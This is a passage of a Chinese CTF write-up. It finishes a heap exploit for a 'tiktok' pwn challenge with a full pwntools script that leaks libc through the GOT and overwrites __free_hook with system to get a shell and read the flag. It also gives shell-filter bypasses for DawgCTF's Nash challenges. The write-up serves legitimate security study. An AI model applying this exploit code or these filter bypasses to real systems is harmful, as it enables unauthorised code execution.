接下来我们不要忘了,在程序malloc之后,会随即调用memset函数进行chunk的清空,这本是防止遗留数据被非法读取的保护逻辑,但在此处,反而可以成为我们利用的后门。若我们将Chunk 46fd指针篡改为A,当我们从Tcache中取回Fake_chunk时,程序将会擦除AA + 0x3B3之间的所有数据。那么我们期望它擦除后恰好有一个song呈现仅fdpath被擦除的状态。这其实很好计算 $mathbf{0x3B3} = 16 times mathbf{0x38} + 24 + mathbf{0x18} + 3$ 若我们指定Asongs[0].dir,那么,songs[17]就是符合条件的song

构造如下Payload

play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
       play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)

fake_songs  = ......

play_song(sh,18,fake_songs)

fake_songs的内容将会被整体写入songs列表中。

劫持了songs后续利用就比较常规了,只需要注意两个原则:

  1. ?禁止free掉一个fd0Chunk,这会导致stdin被关闭。
  2. Tcache bin0x3C0链表已被损坏,不要使用这个链表。

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

tiktok=ELF('./tiktok', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./tiktok")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./tiktok")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def import_song(sh,path):
    sh.recvuntil('Choice: ')
    sh.sendline('1')
    sh.recvuntil('Please provide the entire file path.')
    sh.send(path)

def list_playlist(sh):
    sh.recvuntil('Choice: ')
    sh.sendline('2')

def play_song(sh,index,size=None,content=None):
    sh.recvuntil('Choice: ')
    sh.sendline('3')
    sh.recvuntil('Choice: ')
    sh.sendline(str(index))
    if size:
        sleep(0.5)
        sh.sendline(str(size))
    if content:
        sleep(0.5)
        sh.send(content)

def remove_song(sh,index):
    sh.recvuntil('Choice: ')
    sh.sendline('4')
    sh.recvuntil('Choice: ')
    sh.sendline(str(index))

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        for i in range(3,0x2E):
            import_song(sh,'Animal/animal.txt')
        import_song(sh,'Animal/'.ljust(0x18,'/'))


        import_song(sh,'Animal/blahblah.txt')  # 45
        import_song(sh,'Animal/animal.txt')    # 46

        play_song(sh,45)
        play_song(sh,46)

        remove_song(sh,45)
        remove_song(sh,46)


        play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
        play_song(sh,43)

        fake_songs  = 'x00' * 8 + p64(0x404457) + p64(0)

        fake_songs += 'A' * 0x18                # fake_path
        fake_songs += p64(4)                    # fake_fd
        fake_songs += p64(tiktok.got['puts'])   # fake_dir
        fake_songs += p64(tiktok.got['puts'])   # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0)           # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(5)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x404150)             # fake_content

        fake_songs += p64(0) + p64(0)           # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(6)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x404150)             # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(0)                    # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0)                    # fake_content

        fake_songs += p64(0) + p64(0x21)        # fake_path
        fake_songs += p64(0)                    # fake_path_2
        fake_songs += p64(10)                   # fake_fd
        fake_songs += p64(0x404080)             # fake_dir
        fake_songs += p64(0x404080)             # fake_name
        fake_songs += p64(0x401050)             # fake_content

        play_song(sh,18,fake_songs)
        list_playlist(sh)

        puts_addr = 0
        sh.recvuntil('2. ')
        data = sh.recvuntil('-',drop=True)
        for i in data[::-1]:
            puts_addr  = puts_addr << 8
            puts_addr += ord(i)
        libc.address = puts_addr - libc.symbols['puts']
        success('The libc base address is ' + str(hex(libc.address)))


        remove_song(sh,3)
        remove_song(sh,4)
        play_song(sh,5,0x8,p64(libc.symbols['__free_hook']))
        play_song(sh,6,0x8,'/bin/sh')
        play_song(sh,7,0x8,p64(libc.symbols['system']))
        remove_song(sh,6)
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

0x05 [2020 DawgCTF 2020] Nash/Nash2

题目类型:Pwn

题目的逻辑十分简单,在Nash中,程序限制了我们在shell中使用空格,这里我们可以使用<将我们的flag文件重定向到命令中,即cat<flag.txt。在Nash2中,程序限制了我们在shell中使用空格以及<,那么我们可以使用ps|more就可以进入more的交互环境中,在那之后我们就可以使用!'sh' flag.txt读取flag文件。

 

0x06 参考链接

【原】PlaidCTF 2020 Writeups – Hatena

【原】dawgctf-2020-writeups

(完)